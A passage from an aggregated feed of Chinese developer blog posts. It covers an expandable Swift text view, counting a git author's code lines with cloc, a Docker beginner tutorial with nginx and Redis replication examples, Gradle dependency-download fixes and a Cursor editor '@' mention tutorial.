        ], range: NSRange(location: collapseText.count - suffixStr.count, length: suffixStr.count))
        // 添加基础段落样式
        attributedText.addAttributes([
            NSAttributedString.Key.font: textFont,
            NSAttributedString.Key.paragraphStyle: paraStyle,
        ], range: NSRange(location: 0, length: collapseText.count))
        // 给富文本后面增加可操作的点击链接通过代理来实现
        attributedText.addAttribute(NSAttributedString.Key.link, value: "didOpenClose://", range: NSRange(location: collapseText.count - suffixStr.count, length: suffixStr.count))
        
        self.attributedText = attributedText
        return attributedText
    }

    /// 计算文本高度
    func getTextViewSize(_ text: String, with font: UIFont, width: CGFloat) -> CGSize {
        // 系统计算最佳适配size,可能会调用渲染,消耗性能,所以放在最后计算显示用
        return self.sizeThatFits(CGSize(width: width, height: CGFloat.greatestFiniteMagnitude))
    }
    
}

extension YAYExpandableTextView: UITextViewDelegate {
    
    func textView(_ textView: UITextView, shouldInteractWith URL: URL, in characterRange: NSRange, interaction: UITextItemInteraction) -> Bool {
        // 点击 展开
        if URL.scheme == "didOpenClose" {
            // 变成 收起 的配置
            let viewHeight = getTextViewSize(self.configDidDownClose().string, with: textFont, width: textWidth).height
            viewHieghtClosure?(viewHeight, "didOpenClose")
            return false
        }
        // 点击 收起
        if URL.scheme == "didDownClose" {
            // 变成 展开 的配置
            let viewHeight = getTextViewSize(self.configDidOpenClose().string, with: textFont, width: textWidth).height
            viewHieghtClosure?(viewHeight, "didDownClose")
            return false
        }
        return true
    }
}

具体的关键逻辑和可自定义配置的字段都添加了注释,详细解释看代码就可以了。

四、具体使用

tapd_44062861_1700213174_987.png

lazy var introductionTextView: YAYExpandableTextView 初始化了小组件,调用 setupExpandableText()方法进行文本初始化。在 viewHieghtClosure 中获取了小组件的高度,回调对整个页面布局进行刷新。

最后,完成了一个开箱即用的通用小组件,以后类似的场景就可以直接引用该文本容器了。

————————— 2024.01.07 更新 —————————

书接上文,在上文中实现的小组件,经过和同事的沟通(单方面被要求)后,需要精进换行文本最后一位的准度。经过长时间(一下午)研究与调试过后,达到了既定目标,在此分享一下自己摸索出来的实现写法。

五、问题

iOS提供的 boundingRect(with size: CGSize, options: NSStringDrawingOptions = [], attributes: [NSAttributedString.Key : Any]? = nil, context: NSStringDrawingContext?) -> CGRect 方法,用来计算 String 文本宽度去预估换行。 但是最终渲染结果和 boundingRect 计算出来的换行会有一些出入,所以需要更换成 sizeThatFits(_ size: CGSize) -> CGSize (调用渲染匹配文本的最佳size) 去计算布局。

六、难点

使用 sizeThatFits(_ size: CGSize) -> CGSize 计算布局,得出来的 CGSize 是会动态变化的,导致原来的计算换行方式不能用。

经过调试后使用了一种能解决绝大多数情况的取巧解决办法,如果有更好更优雅的写法的话请各位工友指点迷津~~~

七、重要逻辑优化

/// 将文本按长度度截取并加上指定后缀
    /// @param str 文本
    /// @param suffixStr 指定后缀
    /// @param font 文本字体
    /// @param textWidth 文本长度
    /// @param num 多少行
    /// @param needCrop 是否需要裁剪文本
    func setupExpandableText(_ str: String, suffixStr: String = "...展开", closeStr: String = " 收起", textFont: UIFont, textColor: UIColor, textWidth: CGFloat, numberOfRows row: Int, needCrop: Bool = true) {
        self.delegate = self
        self.isEditable = true
        self.bounces = false
        // 原文本
        self.originalText = str
        // 字体
        self.textFont = textFont
        // 字体颜色
        self.expandableTextColor = textColor
        // 文本宽度
        self.textWidth = textWidth
        // 自定义的(展开)拼接文本
        self.suffixStr = suffixStr
        // 自定义的(收起)拼接文本
        self.closeStr = closeStr
        
        if needCrop {
            var str = self.originalText
            // 记录高度变化次数(相当于行数)
            var wrapTimes: Int = 0
            // 记录第一行文本的所需高度
            var firstRowMaxHeight: CGFloat = 0
            // 记录上一次的size
            var oldSize: CGSize = CGSize(width: 0, height: 0)
                    
            // 遍历字符串,看是否需要进行裁剪拼接
            for i in 0..<str.count {
                // 截取下标
                let index = str.index(str.startIndex, offsetBy: i)
                // 截取后的文本
                let tempStr = String(str[..<index])
                // 文本赋值
                self.attributedText = NSAttributedString(string: tempStr, attributes: [
                    NSAttributedString.Key.font: textFont,
                    NSAttributedString.Key.paragraphStyle: paraStyle,
                ])
                // 文本宽高size,用boundingRect去计算换行不准确,还是要用sizeThatFits去计算渲染高度
                let size = self.getTextViewSize(font: textFont, width: textWidth)
                // 等系统计算size后,初始化参数
                if wrapTimes == 0 {
                    firstRowMaxHeight = size.height
                    wrapTimes = wrapTimes + 1
                }
                // 如果突然size高度增加超过一行文本高度的一半,可以认为是换行了。
                else if (size.height - oldSize.height) > firstRowMaxHeight/2.0 {
                    wrapTimes = wrapTimes + 1
                }
                // 记录第一行文本的最大高度(因为换行的时候会先走上面一个else if,只有是第一行的时候才会走这里面)
                // 主要排除:首特殊字符、一般符号、中英文、字母高度不一致等干扰因素
                else if wrapTimes == 1 {
                    firstRowMaxHeight = size.height
                }
                // 记录旧size
                oldSize = size

                // 换行超出指定行数,进行裁剪
                if wrapTimes > row {
                    // 拼接文本宽度
                    let suffixWidth = suffixStr.boundingRect(with: CGSize(width: CGFloat.greatestFiniteMagnitude, height: 0), options: [.usesLineFragmentOrigin, .usesFontLeading, .truncatesLastVisibleLine], attributes: [
                        .font: textFont,
                        .paragraphStyle: paraStyle,
                    ], context: nil).size.width
                    // 往上遍历截取文本宽度
                    var needCutTextWidth: CGFloat = 0
                    // 截取文本下标
                    var cutIndex = tempStr.index(tempStr.startIndex, offsetBy: 1)
                    // 偏移量
                    var indexOffset = tempStr.count - 1
                    // 如果截取文本宽度足够,进行替换
                    while suffixWidth > needCutTextWidth {
                        cutIndex = tempStr.index(tempStr.startIndex, offsetBy: indexOffset)
                        let cutString = String(tempStr[cutIndex..<tempStr.index(tempStr.startIndex, offsetBy: tempStr.count)])
                        needCutTextWidth = cutString.boundingRect(with: CGSize(width: CGFloat.greatestFiniteMagnitude, height: 0), options: [.usesLineFragmentOrigin, .usesFontLeading, .truncatesLastVisibleLine], attributes: [
                            .font: textFont,
                            .paragraphStyle: paraStyle,
                        ], context: nil).size.width
                        indexOffset = indexOffset - 1
                    }
                    var colText = String(tempStr[..<cutIndex])
                    // 去除换行超出的那个字符
                    colText.removeLast()
                    // 裁剪后的文本
                    collapseText = "\(colText)\(suffixStr)"
                    // 文本、超连接润色,点击处理
                    self.configDidOpenClose()
                    // 返回高度
                    let viewHeight = getTextViewSize(font: textFont, width: textWidth).height
                    viewHieghtClosure?(viewHeight, "didOpenClose")
                    
                    return
                }
            }
        }
        
        // 不需要额外处理,基础样式文本
        let attributedText = NSAttributedString(string: originalText, attributes: [
            NSAttributedString.Key.foregroundColor: expandableTextColor,
            NSAttributedString.Key.font: textFont,
            NSAttributedString.Key.paragraphStyle: paraStyle
        ])
        self.attributedText = attributedText
        // 返回高度
        let viewHeight = getTextViewSize(font: textFont, width: textWidth).height
        viewHieghtClosure?(viewHeight, "")
        
        // 添加手势识别(添加了长按复制功能的回调等等,这里不展开篇幅写了)
        let tap = UITapGestureRecognizer(target: self, action: #selector(tap(_:)))
        tap.delegate = self
        self.addGestureRecognizer(tap)
        
        let longTap = UILongPressGestureRecognizer(target: self, action: #selector(longTap(_:)))
        longTap.delegate = self
        self.addGestureRecognizer(longTap)
    }


    /// 计算文本frame
    func getTextViewSize(font: UIFont, width: CGFloat) -> CGSize {
        // 系统计算最佳适配size,可能会调用渲染,消耗性能,所以放在最后计算显示用
        return self.sizeThatFits(CGSize(width: width, height: CGFloat.greatestFiniteMagnitude))
    }
    

面对 sizeThatFits 计算出来的size,总是会动态变化,以前根据文本高度变化去记录换行的方式不适用了。

最后取巧的使用一种办法去解决怎么记录换行的问题,这边认为如果突然size高度增加超过一行文本高度的一半,可以认为是换行了。 (如果有更好更优雅的写法,请各位工友告诉我一下谢谢!!!)

八、最终效果

  • 优化前(计算精度不足,与实际渲染效果有出入)

tapd_44062861_1709198342_942.png

  • 优化后(计算精确,与实际渲染效果一样)

tapd_44062861_1709198459_247.jpg

最后,完美解决。

最最最后,完结撒花

告辞.jpeg

by gla1ve_Yim at January 28, 2025 03:11 PM

juejin freebie

使用CLOC统计项目成员Git提交的代码量

在开发中,了解代码的增减变化是衡量团队或个人工作进度的重要标准。cloc(Count Lines of Code)是一个功能强大的工具,它可以帮助我们统计项目中各个编程语言的代码行数。配合 Git,我们可以精确地统计某个作者(如“liuguangzhi”)在特定时间范围内所做的代码更改。本文将向你展示如何使用 Perl 和 cloc 来统计代码量。

一、下载和安装 Perl

cloc 是一个 Perl 脚本,因此首先需要确保你的机器上已经安装了 Perl。如果尚未安装,可以通过以下步骤来下载并安装:

1. 下载 Perl

访问 Perl 的官方网站 Strawberry Perl,下载适合你操作系统的版本。

请在此添加图片描述

2. 安装 Perl

下载完成后,按照提示进行安装。安装过程中通常默认选项即可。

请在此添加图片描述

请在此添加图片描述

请在此添加图片描述

请在此添加图片描述

请在此添加图片描述

3. 验证安装是否成功

安装完毕后,打开命令行(如 Git Bash 或 Windows PowerShell),输入以下命令来查看 Perl 的版本:

perl -v

请在此添加图片描述

如果输出了类似于 This is perl 5, version 40, subversion 0 (v5.40.0) 的信息,说明 Perl 已经安装成功。

二、安装 cloc

cloc 是一个基于 Perl 编写的脚本工具,可以从 GitHub 上下载到最新的版本,并将其放入指定目录,方便在命令行中使用。

1. 下载 cloc

访问 cloc 的 GitHub 仓库页面,下载最新版本的 cloc GitHub - cloc

请在此添加图片描述

2. 将 cloc.exe 放到指定目录

下载完成后,解压 cloc 文件,将 cloc.exe 放到你希望存放的目录。通常建议将其放在一个专用的工具目录里。

请在此添加图片描述

3. 将 cloc.exe 添加到环境变量 PATH 中

为了能够在命令行任何地方调用 cloc,你需要将 cloc.exe 的所在目录添加到系统的环境变量 PATH 中。具体操作步骤如下:

  1. 右键点击“此电脑” -> 选择“属性”。
  2. 点击“高级系统设置”,然后点击“环境变量”。
  3. 在“系统变量”中找到 Path,并点击“编辑”。
  4. 在编辑框中点击“新建”,将 cloc.exe 所在的目录路径添加进去。
  5. 点击“确定”保存设置。

完成这些步骤后,你就可以在命令行中直接调用 cloc 命令了。

三、统计特定时间段的代码量

查询过去一周的代码量

你可以使用 Git 和 cloc 来统计某个作者在过去一周内的代码量。以下命令将列出所有该作者在过去一周内的提交,计算每次提交所修改的文件行数,并使用 cloc 统计代码量:

git log --author="liuguangzhi" --since="1 week ago" --pretty=format:"%h" | while read commit_hash; do git diff --name-only $commit_hash^..$commit_hash; done | xargs cloc

这条命令的操作步骤如下:

  1. git log --author=&quot;liuguangzhi&quot; --since=&quot;1 week ago&quot; --pretty=format:&quot;%h&quot; 获取 liuguangzhi 在过去一周的所有提交,输出每个提交的哈希值(commit hash)。
  2. while read commit_hash; do git diff --name-only $commit_hash^..$commit_hash; done 对每个提交,列出它修改的文件。
  3. xargs cloc 将修改过的文件传递给 cloc,并统计这些文件的代码行数。

执行效果如图:

请在此添加图片描述

查询过去一天的代码量

同样,你也可以查询过去一天的代码量,只需稍微修改时间范围:

git log --author="liuguangzhi" --since="1 day ago" --pretty=format:"%h" | while read commit_hash; do git diff --name-only $commit_hash^..$commit_hash; done | xargs cloc

这条命令与上一条类似,只是将 --since=&quot;1 week ago&quot; 改成了 --since=&quot;1 day ago&quot;,这样就只统计过去一天的代码更改。

请在此添加图片描述

四、分析输出结果

运行以上命令后,cloc 将会输出类似以下的统计结果:

-------------------------------------------------------------------------------
Language                     files          blank        comment           code
-------------------------------------------------------------------------------
Python                          5            150             50            600
JavaScript                      3             30             10            150
-------------------------------------------------------------------------------
SUM:                            8            180             60            750
-------------------------------------------------------------------------------

每种语言的代码行数将会被列出,并且统计结果会显示:

  • blank: 空行
  • comment: 注释行
  • code: 实际的代码行数

五、总结

通过结合 Perl 和 cloc,你可以非常方便地统计某个作者在特定时间段内的代码量,帮助团队或个人更好地了解项目进度。无论是日常开发,还是提交评估,cloc 都能提供准确的统计数据,成为开发者必备的工具之一。希望这篇博客能帮助你轻松上手 cloc,并用它来高效地管理和分析代码量。

by Damon小智 at January 28, 2025 03:00 PM

docker学习

docker

介绍

docker 是一个容器,基于进程封装隔离的虚拟化技术。容器是一个技术类型,docker则是当下最流行的一个容器方案。

docker和其他容器与传统容器最大的区别在于,一个是系统级,一个是进程级。

Docker 底层技术主要包括 Namespaces,Cgroups 和 rootfs。
Cgroups 控制组技术是用来限制、记录和隔离系统资源(包括CPU、内存、磁盘输入输出等)分配的关键技术。 Namespaces 用来隔离容器。

Docker官方文档

docker 可以快速构建、分享、运行应用。而且是跨平台、进程隔离的。

核心概念:

  • network:网络
  • volume:卷
  • image:镜像
  • container:容器

安装

首先安装docker环境,安装后的主机叫docker主机或者docker host

参照官网文档安装即可。
配置docker安装源,因为国内网络环境,直接下载会比较慢。

# 配置docker yum源。
sudo yum install -y yum-utils
sudo yum-config-manager \
--add-repo \
http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo

# 启动& 开机启动docker; enable + start 二合一
systemctl enable docker --now

配合镜像源地址,可以加速下载。

# 配置加速
sudo mkdir -p /etc/docker
sudo tee /etc/docker/daemon.json <<-'EOF'
{
    "registry-mirrors": [
      "https://docker.m.daocloud.io",
      "https://hub-mirror.c.163.com",
      "https://mirror.baidubce.com",
      "https://your_preferred_mirror",
      "https://dockerhub.icu",
      "https://docker.registry.cyou",
      "https://docker-cf.registry.cyou",
      "https://dockercf.jsdelivr.fyi",
      "https://docker.jsdelivr.fyi",
      "https://dockertest.jsdelivr.fyi",
      "https://mirror.aliyuncs.com",
      "https://dockerproxy.com",
      "https://mirror.baidubce.com",
      "https://docker.m.daocloud.io",
      "https://docker.nju.edu.cn",
      "https://docker.mirrors.sjtug.sjtu.edu.cn",
      "https://docker.mirrors.ustc.edu.cn",
      "https://mirror.iscas.ac.cn",
      "https://docker.rainbond.cc"
    ]
}
EOF
sudo systemctl daemon-reload
sudo systemctl restart docker

查看版本

docker --version

查看帮助

docker cmd --hlep

基本操作

镜像操作

下载镜像
docker pull image_name:tag
查看本地镜像
docker images
删除一个镜像
docker rmi image_id

i 表示 镜像(image)

查看具体镜像的历史记录
docker history image_id

可以查看镜像的构建历史,包括每一步的操作。
因为镜像的构建过程,就是一层层叠加起来的。

容器操作

创建容器

创建容器并不会启动,只有运行才会启动。

docker create [option] image
运行容器(在容器中执行一个命令)

运行容器时会创建并启动。

docker run [option] image [command] [arg...]

但这样的启动,占用当前会话窗口,一旦退出,容器也会停止。所以需要加一些参数

docker run -d --name myimage -p 80:80 image

上面的命令表示,创建一个名为myimage的后台运行容器,并且将容器的80端口映射到宿主机的80端口。

  • -d 表示后台运行
  • --name 表示容器名
  • -p 表示端口映射
  • -v 表示挂载目录或卷 有2种模式:
    • -v /宿主机目录:/容器目录 表示挂载目录
    • -v 卷名:/容器目录 表示挂载卷
  • --network 表示指定网络
查看运行中的容器
docker ps
查看所有的容器
docker ps -a
启动一个容器
docker start container_id
停止一个容器
docker stop container_id
重启一个容器
docker restart container_id
删除一个容器
docker rm container_id

-f 表示强制删除正在运行的容器

查看容器的日志
docker logs container_id
  • -f 表示实时查看日志
  • -t 表示显示时间戳

顺便提一下,查看docker引擎日志:
如果是CentOS,可以使用journalctl -u docker.service查看。

查看容器的状态
docker stats container_id
进入容器(在容器中执行一个命令)
docker exec -it container_id /bin/bash

-it 表示进入交互模式,-i 表示标准输入,-t 表示分配一个伪终端。
/bin/bash 表示进入容器后使用bash,可简写为bash

docker attach 进入容器,但退出时,容器会停止。docker exec则不会

分享社区

登录
  1. 登录docker hub,获取用户名和密码

  2. 命令行登录,会提示输入用户名和密码

    docker login
    
命名
docker tag image username/image:tag
推送
docker push username/image:tag

建议推送一个最新版的,例如命名为 hlw/image:latest

存储

目录挂载

可以解决,容器内数据持久化问题,数据修改方便。容器停止后,数据还在宿主机上。

启动时添加参数

-v /宿主机目录:/容器内目录
卷映射

初始是以里面的目录为准,容器里面的东西,外面也会有。启动后可以随便改,2边一样。

启动时添加参数

-v 卷名:/容器内目录

启动后,统一放在 /var/lib/docker/volumes/卷名 目录下

对于mac用户,docker 虚拟机才是我创建容器的真正的宿主机,所以需要进入虚拟机内部操作。如下命令,可以进入虚拟机内部,查看卷映射的目录。

stty -echo -icanon && nc -U ~/Library/Containers/com.docker.docker/Data/debug-shell.sock && stty sane # ls -al /var/lib/docker/overlay2/

目录挂载与卷映射的区别:

  1. 写法上:目录挂载用的是宿主机路径,卷映射用的是卷名。
  2. 卷可以被docker管理,可以备份、迁移。
  3. 目录挂载性能更好,灵活性高;卷相反

绑定挂载和数据卷的传播覆盖原则

  • 当绑定挂载和数据卷是空的时候,容器内目录的内容会传播到数据卷中
  • 当绑定挂载和数据卷都不是空的时候,容器内目录的内容会被数据卷中的内容覆盖

使用 docker volume 命令可以管理卷

网络

docker的网络模式,用来解决容器与容器之间、容器与宿主机之间的通信问题。
默认他们是不互联互通的

docker每启动一个容器,都会自动分配一个虚拟的私有网络。使用容器的ip加端口可以互相访问。 docker0是默认的网络。不支持域名访问
自己创建网络,在容器内部可以使用容器名来互相访问

docker的网络模式:

  • bridge:桥接模式,默认的网络。缺点:宿主机以外的世界无法访问
  • host:主机模式,容器与宿主机共享网络。
  • none:无网络模式,容器没有网络。
  • container:容器模式,容器与另一个容器共享网络。
创建自定义网络
docker network create --driver bridge mynet

--driver 表示驱动,默认为bridge

启动容器时指定网络
docker run -d --name myimage --network mynet image

--network 表示指定网络

Docker Compose

批量管理容器的工具

  1. 创建一个compose.yml文件
  2. 参照官方文档编写

上线:docker compose up -d
下线: docker compose down
启动: docker compose start x1 x2 其他

  1. 更新yaml文件,再重上线只会启动修改的容器

默认

构建镜像

当从hub中下载的镜像,不能满足需求时,就需要构建自己的镜像了。
一般有2种方法:

  1. 使用docker commit命令,提交更改
  2. 使用docker build + Dockerfile构建

保存镜像-文件

提交镜像

将容器的存储层保存为镜像文件。相当于在原有镜像的基础上,新增了一层。

docker commit -m "change something" container_id newimage:tag

-m 表示提交的描述信息

备注:不推荐使用这种方式,因为这种在存储层修改的东西有很多文件改动和添加,会导致镜像及其臃肿;另外在存储层的操作都是黑箱操作,只有制作镜像的人知道,但时间一长也很快忘记,后期维护也很痛苦。

保存为文件
docker save image -o file.tar

-o 表示输出文件

从文件加载镜像
docker load -i file.tar

Dockerfile

构建自定义镜像

  1. 编写Dockerfile 如何编写Dockerfile,参照官方文档说明编写
    官方文档
  2. 构建镜像
    1. docker build -f Dockerfile -t image:tag .

镜像分层存储 基础组件可以公用,节省空间

最佳实践

  1. 启动一个容器,需要考虑(参照官方文档说明编写)
    1. 有没有端口需要映射出来,使用 -p 参数
    2. 有没有目录或者配置文件需要映射出来,使用 -v 参数
    3. 需不需要传入一个环境变量,使用 -e 参数

操作实践

搭建nginx服务

任务:

  1. 搭建一个nginx服务,端口映射到8080,
  2. 并且进行目录挂载,将nginx的默认页面改为自定义页面。
  3. 将配置文件映射到宿主机,方便修改。

操作步骤:

  1. 官网查找镜像

  2. 下载镜像 docker pull nginx
    docker images //查看镜像

  3. 运行容器

        docker run -d --name mynginx -p 8080:80 \
        -v /Users/hlw/docker-workspace/nginx-html:/usr/share/nginx/html \
        -v nginx-conf:/etc/nginx nginx
    
        docker ps // 查看容器
        docker exec -it mynginx bash // 进入容器
        docker stop mynginx // 停止容器
        docker start mynginx // 启动容器
        docker logs mynginx // 查看日志
        docker rm -f mynginx // 删除容器
    

搭建 redis 主从集群

任务:

  1. 搭建一个redis主从复制环境,端口映射到6379和6380。
  2. 数据持久化到宿主机上。
  3. 使用自定义网络。

操作步骤:

  1. 官网查找镜像 docker pull redis
    docker images //查看镜像

  2. 创建自定义网络 docker network create --driver bridge mynet

    这一步主要是让他们在同一个网络中

  3. 创建挂载目录

    1. 主节点

      1. 创建数据目录 mkdir -p /Users/hlw/docker-workspace/app/rd2/data
        创建配置文件 mkdir -p /Users/hlw/docker-workspace/app/rd2/conf

      2. 编写配置文件 /Users/hlw/docker-workspace/app/rd2/conf/redis.conf

        # 服务端口 默认6379
        port 6379
        # 关闭保护模式,允许远程连接
        protected-mode no
        # 密码
        requirepass 123456
        
    2. 从节点

      1. 创建数据目录 mkdir -p /Users/hlw/docker-workspace/app/rd1/data
        创建配置文件 mkdir -p /Users/hlw/docker-workspace/app/rd1/conf

      2. 编写配置文件 /Users/hlw/docker-workspace/app/rd1/conf/redis.conf

        # 服务端口 默认6379
        port 6379
        # 关闭保护模式,允许远程连接
        protected-mode no
        # 密码
        requirepass 123456
        # 主节点密码
        masterauth 123456
        
        # 配置主从复制 从节点默认只读
        ## redis5.0后新版本配置
        replicaof redis01 6379
        ## redis5.0之前配置,新版本Redis也还可以用,我部署时确定6.0版本还是可用的
        # slaveof 172.16.8.186 6379
        

        replicaof redis01 6379 这里的 redis01 就是主节点的容器名,要和自定义网络中的容器名一致。

  4. 运行容器

    1. 创建主节点

      docker run -d -p 6379:6379 \
      -v /Users/hlw/docker-workspace/app/rd2/data:/data \
      -v /Users/hlw/docker-workspace/app/rd2/conf/redis.conf:/etc/redis/redis.conf \
      --network mynet --name redis01 \
      redis \
      redis-server /etc/redis/redis.conf
      

      redis-server /etc/redis/redis.conf 指定配置文件以启动redis-server进程

    2. 创建从节点

      docker run -d -p 6380:6379 \
      -v /Users/hlw/docker-workspace/app/rd1/data:/data \
      -v /Users/hlw/docker-workspace/app/rd1/conf/redis.conf:/etc/redis/redis.conf \
      --network mynet --name redis02 \
      redis \
      redis-server /etc/redis/redis.conf
      

参考文献

  1. 《Docker快速入门》- 赵荣娇

by 街一角 at January 28, 2025 02:27 PM

juejin android

解决Gradle依赖下载问题方案汇总

在使用 Gradle 处理项目构建时,常常会出现构建需要的依赖下载失败的问题。这篇文章就介绍一下如何解决这一类的问题。

Gradle 下载失败问题

在创建一个新项目或者下载一个项目时,Gradle 会根据 gradle/wrapper/gradle-wrapper.properties 文件中的 distributionUrl 属性来下载对应的 Gradle 版本。文件示例如下:

distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
#下载 Gradle 8.9 的版本
distributionUrl=https\://services.gradle.org/distributions/gradle-8.9-bin.zip
zipStoreBase=GRADLE_USER_HOME
zipStorePath=wrapper/dists

如果此时下载对应版本的 Gradle 失败,会提示 Connection timed out 的错误,如下图所示:

image.png

此时有三种解决方案,分别是:修改 Gradle 版本、使用镜像站点、直接下载解压缩到指定目录

方案1:修改 Gradle 版本

如果 gradle 版本没有要求,可以查看一下 C:\Users\用户名\.gradle\wrapper\dists 目录下已经下载好的版本。如下图所示:

image.png

点击进入对应版本Gradle的目录,从下图可以看到 8.2 版本的Gradle 已经下载成功了,存在 gradle-8.2目录;而 8.9版本的 Gradle 则是下载失败的,因为不存在gradle-8.9目录。

屏幕截图 2025-01-28 110955.png 屏幕截图 2025-01-28 111008.png

因此可以把 distributionUrl的属性改成 https\://services.gradle.org/distributions/gradle-8.2-bin.zip ,这样就可以复用之前的 gradle 版本了。

方案2:使用镜像站点

默认情况下,Gradle 会在使用 https://services.gradle.org/distributions/ 官网链接来下载对应的 Gradle 版本。当使用官网链接下载失败时,我们可以替换成镜像站点来下载,常用的镜像站点有:

  • 腾讯云镜像 Gradle下载地址:https://mirrors.cloud.tencent.com/gradle/
  • 阿里云镜像 Gradle下载地址:https://mirrors.aliyun.com/macports/distfiles/gradle/

示例如下:

distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
// 把 distributionUrl=https\://services.gradle.org/distributions 替换成对应的站点链接
distributionUrl=https\://mirrors.aliyun.com/macports/distfiles/gradle//gradle-8.9-all.zip
zipStoreBase=GRADLE_USER_HOME
zipStorePath=wrapper/dists

需要注意:镜像站点的 Gradle 更新可能不及时,因此最新版本的 Gradle 可能不存在

方案3:直接下载解压缩到指定目录

当我们使用镜像站点下载的 Gradle 版本不存在时,可以在官网 Gradle Distributions 直接下载 zip 包,并解压到 C:\Users\user\.gradle\wrapper\dists\gradle版本目录 下就可以了,如下图所示:

屏幕截图 2025-01-27 164151.png

版本兼容问题

在开发 Android 项目时,我们需要确保 Android studio 版本、AGP版本、Gradle版本符合、kotlin 版本等符合要求。如果不符合要求,则会导致兼容问题的错误。

AGP版本在 gradle/libs.versions.toml 文件中;而 Gradle版本在gradle/wrapper/gradle-wrapper.properties 文件中。示例如下:

// gradle-wrapper.properties 文件
distributionBase=GRADLE_USER_HOME
distributionUrl=https\://services.gradle.org/distributions/gradle-8.9-bin.zip // gradle版本号
distributionPath=wrapper/dists
zipStorePath=wrapper/dists
zipStoreBase=GRADLE_USER_HOME


// libs.versions.toml 文件
[versions]
androidGradlePlugin = "8.6.1" // agp版本号
kotlin = "1.9.22"

[plugins]
android-application = { id = "com.android.application", version.ref = "androidGradlePlugin" }
kotlin-android = { id = "org.jetbrains.kotlin.android", version.ref = "kotlin" }

AGP 和 Gradle版本兼容问题

AGP 和 Gradle版本兼容要求如下图所示:

屏幕截图 2025-01-28 113228.png

Android studio 版本和 AGP的兼容问题

Android studio 版本和 AGP的兼容要求如下图所示。如果需要看当前 Android studio的版本,可以通过 Help -> about 查看。

屏幕截图 2025-01-28 113246.png

最新的兼容关系可以看官网:Android Gradle 插件 8.8 版本说明

kgp 、gradle、agp之间兼容关系问题

image.png

最新的兼容关系可以看官网:配置 Gradle 项目 · Kotlin 官方文档 中文版

依赖下载失败问题

依赖下载失败的原因有很多,这里推荐按照一定的流程找出问题。下面介绍笔者开发时使用的排除流程:

第一步,使用镜像站点

依赖下载失败大部分是因为墙的限制,我们可以使用镜像站点来解决这个问题。代码示例如下,使用了阿里云的镜像站点

pluginManagement {
    repositories {
        maven { url =  uri("https://maven.aliyun.com/repository/public") }
        maven { url =  uri("https://maven.aliyun.com/repository/google") }
        maven { url =  uri("https://maven.aliyun.com/repository/jcenter") }
        maven { url =  uri("https://mirrors.aliyun.com/macports/distfiles/gradle") }
        maven { url =  uri("https://repo1.maven.org/maven2/") }
        google()
        mavenCentral()
        gradlePluginPortal()
    }
}
dependencyResolutionManagement {
    repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS)
    repositories {
        maven { url =  uri("https://maven.aliyun.com/repository/public") }
        maven { url =  uri("https://maven.aliyun.com/repository/google") }
        maven { url =  uri("https://maven.aliyun.com/repository/jcenter") }
        maven { url =  uri("https://mirrors.aliyun.com/macports/distfiles/gradle") }
        maven { url =  uri("https://repo1.maven.org/maven2/") }
        google()
        mavenCentral()
    }
}

第二步:检查

如果配置了镜像还是有问题,这时需要先看是否配置有问题,最好是复制对照,用眼睛对照是不靠谱的。如果配置没有问题,那么就看一下当时是否为离线模式,如果是离线模式则需要修改后再次尝试。

屏幕截图 2025-01-28 152237.png

第三步:clean build

有时候,当你修改 kotlin 版本号或者插件版本号时,会导致缓存无法使用,从而构建失败。这时候可以尝试使用 clean project,然后再重试。

屏幕截图 2025-01-30 232659.png

其他问题

prepareKotlinBuildScriptModel 任务失败

打开项目目录下 gradle/wrapper/gradle-wrapper.properties,将distributionUrl结尾的-bin.zip 改为-all.zip。然后打开终端运行gradlew --stop(建议顺便重启一下Android Studio)。最后重新 sync gradle 就可以了

参考

by 小墙程序员 at January 28, 2025 07:45 AM

juejin freebie

cursor 使用教程(10)—— @ 提示符

完整教程请点击专栏查看。

@ 提示符在内嵌对话框、CHAT、COMPOSER 中都有,同一个提示符的含义是相同的,接下来我一一讲解各个提示符的含义。

image.png

Files

把文件的内容加到上下文,也可以通过拖拽文件的方式添加。可以让 cursor 为我们讲解文件内容,也可以让他分析文件在 Codebase 中的作用。

image.png

Folders

把文件中所有文件加到上下文,也可以通过拖拽文件夹的方式添加。

我看有的教程说 Folders 容易出现幻读,即返回了文件夹中没有的文件,我倒没遇到这个问题,我遇到的是无法通过 @ 提示符联想到 Folders,必须手动拖拽到对话框,如下图所示。

我在 new 文件夹中复制了几个文件和文件夹进去,cursor 都能正确识别。

image.png

Code

这是 cursor 根据项目自动生成的分块 Code,这个提示符不会用到,就不做演示了,建议先圈选代码再 Add to Chat,或 Ctrl+K。

Doc

可以把网上的文档录入 cursor Doc,在让 cursor 按照文档写代码。这在对接三方 API 的场景中,非常有用。

比如把 help.aliyun.com/zh/sms/gett… 这个阿里云发送 SMS 的文档链接给他,让他帮我生成调用代码。

添加 Doc

后台添加
  1. 在设置 -> Features -> Docs 中,点击 Add new doc 添加。

image.png

  1. 在点击 @Doc 提示符后,最下面有个 Add new doc。

image.png

进入 Add new doc 后,输入文档地址,cursor 会自动抓取信息,如需调整名称可以重命名,否则点击 confirm 即可。

image.png

使用 Doc

仅需一句话,即可让 cursor 生成调用代码。

image.png

各种语言,任君选择,比如我让他用 go 写个。

image.png

Git

可以选中 Git 的某一次提交,询问 cursor 代码改动、逻辑变化,他会根据 Git 的代码变动回答。

Notepad

和文件很像,这是 vscode 中左下方有个 Notepad 的板块里面的文件。

image.png

Suggested

这里是 cursor 智能判断我们可能需要的引用,一般不会用到。

Codebase

之前的篇幅中已经讲过了。在专栏里面。

Lint Errors

可以检测代码问题,不仅是语法、编译错误,还能检测规范,比如重复代码、未使用变量、命名规则等。

一般是 @Lint Errors 再接 @File 或是圈选代码块。

image.png

Web

可以读懂网页的内容,再基于网页做解释和回答。

通常不会先 @Web,而且直接把网址复制到对话框中,就会自动带上 @Web。

image.png

Definitions

这只提示符只在内嵌对话框中有,他是当前代码的上下文,在 cursor 对上下文理解不对时,可以用这个注解强制让他理解上下文。

image.png

当我刚写完以上内容,2025-01-28 收到了 cursor 更新,新增了两个提示符,Summarized Composers 和 Cursor Rules。

Summarized Composers

可以提取之前 Composers 对话的内容,并作为引用加入上下文,比如按照上次 Composers 的做法,同样更改这次代码,或总结指定 Composers 的内容。

image.png

Curosr Rules

